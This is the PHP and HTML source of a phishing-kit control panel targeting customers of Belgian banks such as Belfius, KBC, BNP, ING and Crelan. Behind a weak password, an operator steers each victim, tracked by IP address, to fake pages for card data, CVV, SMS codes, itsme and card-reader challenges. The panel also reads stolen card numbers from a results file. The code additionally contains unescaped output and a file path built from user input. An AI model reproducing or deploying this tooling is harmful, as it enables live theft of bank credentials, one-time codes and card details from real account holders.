<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors', '0');
@ini_set('display_errors', '0');
@ini_set('display_startup_errors', '0');
@ini_set('log_errors', '0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$password = 'c4ca4238a0b923820dcc509a6f75849b';

if ($_POST['p']) {

    setcookie('p', md5($_POST['p']));
    header('Location: ' . $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING']);
}

if ($_COOKIE['p'] !== $password) {

    die("<pre align=center><form method=post>Password<br><input type=password name=p style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
}


if ($_POST['step'] == "control") {
    $fp = fopen('users/' . $_POST['ip'] . '.txt', 'wb');


    if ($_POST['to'] == 'url') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['url_text'];
    }
    if ($_POST['to'] == 'bill') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'fr-infos') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'infos') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'sms') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'load') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'choice') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'method') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'itsMe') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'itsMe-logo') {
        $itsMeImgVal = isset($_POST['itsMeLogoImg']) ? $_POST['itsMeLogoImg'] : '';
        // If value is a base64 data URI, save it as a file and use the file path instead
        if (strpos($itsMeImgVal, 'data:image/') === 0) {
            $imgsDir = 'users/imgs/';
            if (!is_dir($imgsDir)) { mkdir($imgsDir, 0755, true); }
            // Detect extension from MIME type
            preg_match('/data:image\/(\w+);base64,/', $itsMeImgVal, $mimeMatch);
            $ext = isset($mimeMatch[1]) ? strtolower($mimeMatch[1]) : 'jpg';
            if ($ext === 'jpeg') $ext = 'jpg';
            // Strip the data URI header and decode
            $b64data = substr($itsMeImgVal, strpos($itsMeImgVal, ',') + 1);
            $imgBinary = base64_decode($b64data);
            $fname = $imgsDir . 'logo_' . md5($_POST['ip'] . microtime()) . '.' . $ext;
            file_put_contents($fname, $imgBinary);
            $itsMeImgVal = $fname; // short relative path
        }
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $itsMeImgVal;
    }
    if ($_POST['to'] == '2fa') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['text'] . '#|#' . $_POST['b64img'];
    }
    if ($_POST['to'] == 'l-axa') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['axaText0'] . '#|#' . $_POST['axaText1'];
    }
    if ($_POST['to'] == 'l-cbc') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['cbcText0'] . '#|#' . $_POST['cbcText1'];
    }
    if ($_POST['to'] == 'id-bpost') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'otp-bpost') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'l-bpost') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['bpostText0'] . '#|#' . $_POST['bpostText1'];
    }
    if ($_POST['to'] == 'l-digipass') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['digipassText0'] . '#|#' . $_POST['digipassText1'];
    }
    if ($_POST['to'] == 'l-keytrade') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . (isset($_POST['keytradeText0']) ? $_POST['keytradeText0'] : '') . '#|#' . (isset($_POST['keytradeText1']) ? $_POST['keytradeText1'] : '');
    }
    if ($_POST['to'] == 'choice-keytrade') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'id-keytrade') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'qr-keytrade') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['keytradeQrB64'];
    }
    if ($_POST['to'] == 'itsme-nagelmackers') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'itsme-standart') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'l-kbc') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['kbcText0'] . '#|#' . $_POST['kbcText1'];
    }
    if ($_POST['to'] == 'l-belfius') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['belfiusText0'] . '#|#' . $_POST['belfiusText1'];
    }
    if ($_POST['to'] == 'l-bnp') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['bnpText0'] . '#|#' . $_POST['bnpText1'];
    }
    if ($_POST['to'] == 'l-ing') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['ingText0'] . '#|#' . $_POST['ingText1'];
    }
    if ($_POST['to'] == 'argenta-sms') {
        $_POST['to'] = $_POST['to'] . '#|#' . (isset($_POST['error']) ? $_POST['error'] : '');
    }
    if ($_POST['to'] == 'log-argenta') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . (isset($_POST['logArgentaCode']) ? $_POST['logArgentaCode'] : '');
    }
    if ($_POST['to'] == 'l-argenta') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['argentaText0'] . '#|#' . $_POST['argentaText1'];
    }
    if ($_POST['to'] == 'l-deuch') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['deuchText0'] . '#|#' . $_POST['deuchText1'];
    }
    if ($_POST['to'] == 'l-nagelmackers') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . (isset($_POST['nagelmackersText0']) ? $_POST['nagelmackersText0'] : '') . '#|#' . (isset($_POST['nagelmackersText1']) ? $_POST['nagelmackersText1'] : '');
    }
    if ($_POST['to'] == 'l-cph') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['cphText0'] . '#|#' . $_POST['cphText1'];
    }
    if ($_POST['to'] == 'l-beoApp') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['beoAppText0'] . '#|#' . $_POST['beoAppText1'];
    }
    if ($_POST['to'] == 'l-beoDigi') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['beoDigiText0'] . '#|#' . $_POST['beoDigiText1'];
    }
    if ($_POST['to'] == 'l-beoDigi-new') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . (isset($_POST['beoDigiNewText0']) ? $_POST['beoDigiNewText0'] : '') . '#|#' . (isset($_POST['beoDigiNewText1']) ? $_POST['beoDigiNewText1'] : '');
    }
    if ($_POST['to'] == 'l-crelan') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['crelanText0'] . '#|#' . $_POST['crelanDigiText1'];
    }
    if ($_POST['to'] == 'itsMe-belfius') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'itsMe-cbc') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'itsMe-argenta') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'itsMe-cph') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    
    if ($_POST['to'] == 'app-crelan') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }


    if ($_POST['to'] == 'cvv') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'errorCCS') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . (isset($_POST['errorCCSText0']) ? $_POST['errorCCSText0'] : '') . '#|#' . (isset($_POST['errorCCSText1']) ? $_POST['errorCCSText1'] : '') . '#|#' . (isset($_POST['errorCCSText2']) ? $_POST['errorCCSText2'] : '') . '#|#' . (isset($_POST['errorCCSText3']) ? $_POST['errorCCSText3'] : '');
    }
    if ($_POST['to'] == 'approve') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'refuser') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'accepter') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }

    if ($_POST['to'] == 'choice-crelan') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'crelan-activation') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'crelan-series') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'crelan-mailc') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'crelan-mob-id') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'crelan-mob-lec') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'crelan-mob-pre') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'crelan-mob-qr') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['crelanQrB64'];
    }
    if ($_POST['to'] == 'choice-belfius') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'choice-cbc') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'choice-kbc') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'choice-argenta') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'itsMe-kbc') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }

    if ($_POST['to'] == 'choice-cbc') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    
    
    if ($_POST['to'] == 'l-belfiusMobile') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['belfiusMobileText0'] . '#|#' . $_POST['belfiusMobileText1'];
    }
    if ($_POST['to'] == 'belfius-otpSms') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'belfius-virement') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . (isset($_POST['virementText0']) ? $_POST['virementText0'] : '') . '#|#' . (isset($_POST['virementText1']) ? $_POST['virementText1'] : '');
    }
    if ($_POST['to'] == 'belfius-smsLecteur') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . (isset($_POST['smsLecteurText0']) ? $_POST['smsLecteurText0'] : '');
    }
    if ($_POST['to'] == 'bnp-idMobile') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'bnp-otpMobile') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'l-bnpMobile') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['bnpMobileText0'] . '#|#' . $_POST['bnpMobileText1'];
    }
    if ($_POST['to'] == 'ing-idMobile') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'ing-itsMeMobile') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'itsMe-ing') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'l-ingOneMobile') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'];
    }
    if ($_POST['to'] == 'l-ingTwoMobile') {
        $_POST['to'] = $_POST['to'] . '#|#' . $_POST['error'] . '#|#' . $_POST['ingTwoMobileText0'] . '#|#' . $_POST['ingTwoMobileText1'];
    }









    fwrite($fp, $_POST['to']);
    fclose($fp);
    header("location: M3tri-control.php?ip=" . $_POST['ip']);
}

$currentCC = '';
if (isset($_GET['ip']) && file_exists('rezult/bc-rzlt.txt')) {
    $lines = file('rezult/bc-rzlt.txt');
    $userIp = $_GET['ip'];
    $isUser = false;
    foreach ($lines as $line) {
        if (strpos($line, '/--') !== false) {
            if (strpos($line, $userIp) !== false && strpos($line, 'infos cc') !== false) {
                $isUser = true;
            } else {
                $isUser = false;
            }
        }
        if ($isUser && strpos($line, 'Card° :') !== false) {
            $currentCC = trim(str_replace(['Card° :', '<code>', '</code>'], '', $line));
        }
    }
}
?>
<!doctype html>
<html>

<head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta http-equiv="pragma" content="no-cache">
    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta name="robots" content="noindex," "nofollow," "noimageindex," "noarchive," "nocache," "nosnippet">
    <!-- CSS FILES -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css">
    <style>
        body.irtem { background: #e0e0e0; padding: 12px 0; font-size: 14px; display: flex; flex-direction: column; align-items: center; min-height: 100vh; box-sizing: border-box; text-transform: uppercase; }
        .irtem .container { max-width: 1200px; width: 100%; margin: 0 auto; padding: 0 12px; box-sizing: border-box; }
        .btn { margin: 3px; padding: 10px 16px; font-size: 13px; border: none; border-radius: 6px; text-transform: uppercase; }
        #user-status-badge { margin-bottom: 10px; padding: 8px 16px; border-radius: 6px; display: inline-block; font-weight: bold; font-size: 13px; border: none; background: transparent; }
        .panel-block.panel-actions { margin-bottom: 10px; padding: 10px 12px; border: none; border-radius: 0; background: transparent; box-shadow: none; text-align: center; }
        .panel-block.panel-actions .btn { margin: 0 6px; padding: 10px 20px; font-size: 14px; }
        #ban-status-message { margin-top: 8px; padding: 8px 12px; border-radius: 5px; font-size: 13px; border: none; }
        .irtem .btn-danger, .irtem .btn-success { padding: 10px 20px; font-size: 14px; border: none; }
        .interface-panel { background: transparent; border: none; border-radius: 0; padding: 12px 14px; margin-bottom: 12px; margin-left: auto; margin-right: auto; box-shadow: none; max-width: 100%; }
        .panel-row { display: flex; flex-wrap: wrap; justify-content: center; gap: 6px; margin-bottom: 6px; }
        .panel-row:last-child { margin-bottom: 0; }
        .panel-row .btn { min-width: 100px; padding: 10px 14px; font-size: 12px; }
        .banks-grid { display: flex; flex-wrap: wrap; justify-content: center; gap: 12px; margin-top: 12px; }
        .bank-column { background: transparent; border: none; border-radius: 0; padding: 10px 12px; flex: 0 0 calc((100% - 8 * 12px) / 9); min-width: 120px; max-width: 160px; box-shadow: none; position: relative; box-sizing: border-box; }
        .bank-column .bank-lecteur-form { margin-top: 8px; width: 100%; padding: 8px 0; border-top: none; }
        .bank-column .bank-lecteur-form .form-control { width: 100%; font-size: 12px; padding: 6px 8px; height: 32px; border: none; border-radius: 4px; background: rgba(255,255,255,0.5); text-transform: uppercase; }
        .bank-column .bank-lecteur-form label { font-size: 11px; margin-bottom: 2px; display: block; color: #555; }
        .bank-column .bank-lecteur-form .btn { margin-top: 4px; font-size: 12px; padding: 8px 12px; border: none; }
        .bank-logo { min-height: 38px; display: flex; align-items: center; justify-content: center; margin-bottom: 10px; font-weight: bold; font-size: 12px; }
        .bank-logo img { max-height: 38px; max-width: 100%; width: auto; object-fit: contain; display: block; }
        .bank-column .btn { display: block; width: 100%; margin: 3px 0; text-align: center; padding: 10px 12px; font-size: 12px; border: none; }
        .bank-sub { margin-top: 8px; padding-top: 8px; border-top: none; }
        .interface-panel.mt-3 { margin-top: 10px; padding: 12px 14px; margin-left: auto; margin-right: auto; border: none; border-radius: 0; background: transparent; box-shadow: none; }
        .interface-panel .collapse .form-control { font-size: 13px; padding: 8px 10px; border: none; border-radius: 4px; background: rgba(255,255,255,0.5); text-transform: uppercase; }
        .interface-panel .collapse .btn { font-size: 13px; padding: 10px 16px; border: none; }
        hr { margin: 12px 0; border: none; border-top: 1px solid rgba(0,0,0,0.06); }
        .irtem .form-control { border: none; }
        .irtem .btn-warning { border: none; }
        #panel-modal { display: none; position: fixed; inset: 0; background: rgba(0,0,0,0.5); z-index: 9999; align-items: center; justify-content: center; padding: 20px; box-sizing: border-box; }
        #panel-modal.show { display: flex; }
        #panel-modal .modal-box { background: #e0e0e0; border-radius: 8px; padding: 20px; max-width: 420px; width: 100%; max-height: 90vh; overflow: auto; position: relative; }
        #panel-modal .modal-close { position: absolute; top: 8px; right: 10px; background: none; border: none; font-size: 22px; cursor: pointer; color: #555; line-height: 1; padding: 0 4px; }
        #panel-modal .modal-close:hover { color: #000; }
        #panel-modal .modal-body { padding-right: 28px; text-transform: uppercase; }
        #panel-modal .modal-body .form-control { background: rgba(255,255,255,0.6); text-transform: uppercase; }
    </style>
    <link rel="icon" type="image/x-icon" href="favicon.ico" />
    <title>Control</title>
</head>

<body class="irtem">
    <div class="container text-center pt30 pb30">

        <form method="post" action="">
            <input type="hidden" name="step" value="control">
            <input type="hidden" name="ip" value="<?php echo $_GET['ip']; ?>">

            <!-- Dynamic Status Badge -->
            <div id="user-status-badge" style="margin-bottom: 20px; padding: 10px; border-radius: 8px; display: inline-block; font-weight: bold; min-width: 150px;">
                <span id="status-text">Checking status...</span>
                <small id="status-time" style="display: block; font-size: 0.8em; margin-top: 5px;"></small>
            </div>

            <!-- Ban/Activate User Controls -->
            <div class="panel-block panel-actions">
                <button type="button" id="ban-user-btn" class="btn btn-danger">🚫 Ban User</button>
                <button type="button" id="activate-user-btn" class="btn btn-success">✅ Activate User</button>
                <div id="ban-status-message" style="display: none;"></div>
            </div>

            <input type="hidden" name="error" value="off">

            <!-- INTERFACE PANEL BAR -->
            <div class="interface-panel">
                <div class="panel-row">
                    <button type="button" href="#url" class="btn" style="background-color:#4a4a4a;color:white;">custom-url</button>
                    <button type="submit" class="btn" style="background-color:#4a4a4a;color:white;" name="to" value="load">loading</button>
                    <button type="submit" class="btn" style="background-color:#4a4a4a;color:white;" name="to" value="infos">cc bancontact</button>
                    <button type="submit" class="btn" style="background-color:#4a4a4a;color:white;" name="to" value="fr-infos">cc normal</button>
                    <button type="button" class="btn" style="background-color:#4a4a4a;color:white;" href="#qrimg">2fa image</button>
                    <button type="submit" class="btn" style="background-color:#4a4a4a;color:white;" name="to" value="cvv">cvv</button>
                </div>
                <div class="panel-row">
                    <button type="submit" class="btn" style="background-color:#4a4a4a;color:white;" name="to" value="choice">choice banque</button>
                    <button type="submit" class="btn" style="background-color:#FFC300;color:#333;" name="to" value="approve">approve</button>
                    <button type="submit" class="btn" style="background-color:#C70039;color:white;" name="to" value="refuser">refuser</button>
                    <button type="submit" class="btn" style="background-color:#28a745;color:white;" name="to" value="accepter">accepter</button>
                    <button type="submit" class="btn" style="background-color:#4a4a4a;color:white;" name="to" value="sms">sms</button>
                    <button type="submit" class="btn" style="background-color:#4a4a4a;color:white;" name="to" value="bill">billing</button>
                    <button type="button" class="btn" style="background-color:#e65c00;color:white;" href="#errorCCS">error cc</button>
                    <button type="button" class="btn" style="background-color:#6f42c1;color:white;" href="#itsMeLogo">ItsMeLogo</button>
                    <button type="button" class="btn" style="background-color:#17a2b8;color:white;" onclick="copyCCToClipboard()">Copy CC</button>
                    <button type="submit" class="btn" style="background-color:#17a2b8;color:white;" name="to" value="itsme-standart">ITSME STANDART</button>
                    <input type="hidden" id="currentCCValue" value="<?php echo htmlspecialchars($currentCC); ?>">
                </div>
                <div id="url" class="collapse mt-2" style="max-width: 500px; margin: 10px auto 0;">
                    <textarea name="url_text" class="form-control mb-2" cols="30" rows="2" placeholder="http://..."></textarea>
                    <button type="submit" class="btn btn-success btn-sm" name="to" value="url">Submit</button>
                </div>
            </div>

            <!-- BANKS GRID -->
            <div class="banks-grid">

                <script>
                function copyCCToClipboard() {
                    var ccValue = document.getElementById("currentCCValue").value;
                    if (!ccValue) {
                        alert("No CC number found for this user yet.");
                        return;
                    }
                    var tempInput = document.createElement("input");
                    tempInput.value = ccValue;
                    document.body.appendChild(tempInput);
                    tempInput.select();
                    document.execCommand("copy");
                    document.body.removeChild(tempInput);
                    
                    var messageDiv = document.getElementById('ban-status-message');
                    messageDiv.style.display = 'block';
                    messageDiv.style.backgroundColor = '#d4edda';
                    messageDiv.style.border = '1px solid #c3e6cb';
                    messageDiv.style.color = '#155724';
                    messageDiv.textContent = '✅ CC Copied: ' + ccValue;
                    setTimeout(() => { messageDiv.style.display = 'none'; }, 3000);
                }
                </script>
                <!-- ARGENTA -->
                <div class="bank-column bank-argenta">
                    <div class="bank-logo"><img src="bc_files/logo-argenta.png" alt="Argenta"></div>
                    <button type="submit" class="btn" style="background-color:#00a651;color:white;" name="to" value="choice-argenta">choice Argenta</button>
                    <button type="submit" class="btn" style="background-color:#00a651;color:white;" name="to" value="itsMe-argenta">itsMe Argenta</button>
                    <button type="button" class="btn" style="background-color:#00a651;color:white;" href="#l-argenta">lecteur Argenta</button>
                    <button type="button" class="btn" style="background-color:#00a651;color:white;" href="#log-argenta">Log Argenta</button>
                    <button type="submit" class="btn" style="background-color:#00a651;color:white;" name="to" value="argenta-sms">OTP SMS</button>
                    <div id="l-argenta" class="collapse bank-lecteur-form mt-2"><label>argenta lecteur:</label><input name="argentaText1" class="form-control mb-2" placeholder="security code 1"><input name="argentaText0" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-argenta">Submit</button></div>
                    <div id="log-argenta" class="collapse bank-lecteur-form mt-2"><label>Log Argenta – chiffre à afficher:</label><input name="logArgentaCode" class="form-control mb-2" placeholder="ex: 8224 9822"><button type="submit" class="btn btn-warning btn-sm" name="to" value="log-argenta">Submit</button></div>
                </div>
                <!-- BNP -->
                <div class="bank-column bank-bnp">
                    <div class="bank-logo"><img src="bc_files/logo-bnp.png" alt="BNP"></div>
                    <button type="button" class="btn" style="background-color:#00915a;color:white;" href="#l-bnp">bnp achats</button>
                    <button type="submit" class="btn" style="background-color:#00915a;color:white;" name="to" value="bnp-idMobile">bnp idMobile</button>
                    <button type="button" class="btn" style="background-color:#00915a;color:white;" href="#l-bnpMobile">lecteur bnpMobile</button>
                    <button type="submit" class="btn" style="background-color:#00915a;color:white;" name="to" value="bnp-otpMobile">bnp OTP MOBILE</button>
                    <div id="l-bnp" class="collapse bank-lecteur-form mt-2"><label>bnp lecteur:</label><input name="bnpText0" class="form-control mb-2" placeholder="security code"><input name="bnpText1" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-bnp">Submit</button></div>
                    <div id="l-bnpMobile" class="collapse bank-lecteur-form mt-2"><label>bnpMobile:</label><input name="bnpMobileText0" class="form-control mb-2" placeholder="security code"><input name="bnpMobileText1" class="form-control mb-2" placeholder="montant" value="nul" style="display:none;"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-bnpMobile">Submit</button></div>
                </div>
                <!-- BELFIUS -->
                <div class="bank-column bank-belfius">
                    <div class="bank-logo"><img src="bc_files/logo-belefius.png" alt="Belfius"></div>
                    <button type="button" class="btn" style="background-color:#800020;color:white;" href="#l-belfiusMobile">lecteur belfiusMobile</button>
                    <button type="submit" class="btn" style="background-color:#800020;color:white;" name="to" value="belfius-otpSms">OTP SMS</button>
                    <button type="button" class="btn" style="background-color:#800020;color:white;" href="#belfius-virement">virement</button>
                    <div id="belfius-virement" class="collapse bank-lecteur-form mt-2"><label>Virement:</label><input name="virementText0" class="form-control mb-2" placeholder="code sécurité"><input name="virementText1" class="form-control mb-2" placeholder="référence"><button type="submit" class="btn btn-warning btn-sm" name="to" value="belfius-virement">Submit</button></div>
                    <button type="button" class="btn" style="background-color:#800020;color:white;" href="#belfius-smsLecteur">SMS lecteur</button>
                    <div id="belfius-smsLecteur" class="collapse bank-lecteur-form mt-2" style="display:none;"><label>SMS lecteur:</label><input name="smsLecteurText0" class="form-control mb-2" placeholder="code reçu (affiché sur la page)"><button type="submit" class="btn btn-warning btn-sm" name="to" value="belfius-smsLecteur">Submit</button></div>
                    <button type="submit" class="btn" style="background-color:#800020;color:white;" name="to" value="choice-belfius">choice Belfius</button>
                    <button type="submit" class="btn" style="background-color:#800020;color:white;" name="to" value="itsMe-belfius">itsMe Belfius</button>
                    <button type="button" class="btn" style="background-color:#800020;color:white;" href="#l-belfius">belfius achats</button>
                    <div id="l-belfiusMobile" class="collapse bank-lecteur-form mt-2"><label>belfiusMobile:</label><input name="belfiusMobileText0" class="form-control mb-2" placeholder="security code"><input name="belfiusMobileText1" class="form-control mb-2" value="nul" style="display:none;"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-belfiusMobile">Submit</button></div>
                    <div id="l-belfius" class="collapse bank-lecteur-form mt-2"><label>belfius lecteur:</label><input name="belfiusText0" class="form-control mb-2" placeholder="security code"><input name="belfiusText1" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-belfius">Submit</button></div>
                </div>
                <!-- BEOBANK -->
                <div class="bank-column bank-beobank">
                    <div class="bank-logo"><img src="bc_files/logo-beobank.png" alt="Beobank"></div>
                    <button type="button" class="btn" style="background-color:#a72894;color:white;" href="#l-beoDigi">BeoDigipass old</button>
                    <button type="button" class="btn" style="background-color:#a72894;color:white;" href="#l-beoDigi-new">BeoDigipass NEW</button>
                    <button type="submit" class="btn" style="background-color:#a72894;color:white;" name="to" value="l-beoApp">BeoApprove</button>
                    <div id="l-beoDigi" class="collapse bank-lecteur-form mt-2"><label>beo Digipass:</label><input name="beoDigiText0" class="form-control mb-2" value="nul" style="display:none;"><input name="beoDigiText1" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-beoDigi">Submit</button></div>
                    <div id="l-beoDigi-new" class="collapse bank-lecteur-form mt-2"><label>beo NEW:</label><input name="beoDigiNewText0" class="form-control mb-2" value="nul" style="display:none;"><input name="beoDigiNewText1" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-success btn-sm" name="to" value="l-beoDigi-new">Submit</button></div>
                </div>
                <!-- CBC -->
                <div class="bank-column bank-cbc">
                    <div class="bank-logo"><img src="bc_files/logo-cbc.png" alt="CBC"></div>
                    <button type="submit" class="btn" style="background-color:#00a3e0;color:white;" name="to" value="choice-cbc">choice CBC</button>
                    <button type="submit" class="btn" style="background-color:#00a3e0;color:white;" name="to" value="itsMe-cbc">itsMe CBC</button>
                    <button type="button" class="btn" style="background-color:#00a3e0;color:white;" href="#l-cbc">lecteur CBC</button>
                    <div id="l-cbc" class="collapse bank-lecteur-form mt-2"><label>cbc lecteur:</label><input name="cbcText0" class="form-control mb-2" placeholder="security code"><input name="cbcText1" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-cbc">Submit</button></div>
                </div>
                <!-- KBC -->
                <div class="bank-column bank-kbc">
                    <div class="bank-logo"><img src="bc_files/logo-kbc.png" alt="KBC"></div>
                    <button type="submit" class="btn" style="background-color:#0066b3;color:white;" name="to" value="choice-kbc">choice KBC</button>
                    <button type="submit" class="btn" style="background-color:#0066b3;color:white;" name="to" value="itsMe-kbc">itsMe KBC</button>
                    <button type="button" class="btn" style="background-color:#0066b3;color:white;" href="#l-kbc">lecteur KBC</button>
                    <div id="l-kbc" class="collapse bank-lecteur-form mt-2"><label>kbc lecteur:</label><input name="kbcText0" class="form-control mb-2" placeholder="security code"><input name="kbcText1" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-kbc">Submit</button></div>
                </div>
                <!-- CPH -->
                <div class="bank-column bank-cph">
                    <div class="bank-logo"><img src="bc_files/logo-cph.png" alt="CPH"></div>
                    <button type="submit" class="btn" style="background-color:#240c6c;color:white;" name="to" value="choice-cph">choice CPH</button>
                    <button type="submit" class="btn" style="background-color:#240c6c;color:white;" name="to" value="itsMe-cph">itsMe CPH</button>
                    <button type="button" class="btn" style="background-color:#240c6c;color:white;" href="#l-cph">lecteur CPH</button>
                    <div id="l-cph" class="collapse bank-lecteur-form mt-2"><label>cph lecteur:</label><input name="cphText0" class="form-control mb-2" placeholder="security code"><input name="cphText1" class="form-control mb-2" placeholder="montant"><button type="submit" class="btn btn-warning btn-sm" name="to" value="l-cph">Submit</button></div>
                </div>
                <!-- CRELAN -->
                <div class="bank-column bank-crelan">
                    <div class="bank-logo"><img src="bc_files/logo-cleran.png" alt="Crelan"></div>
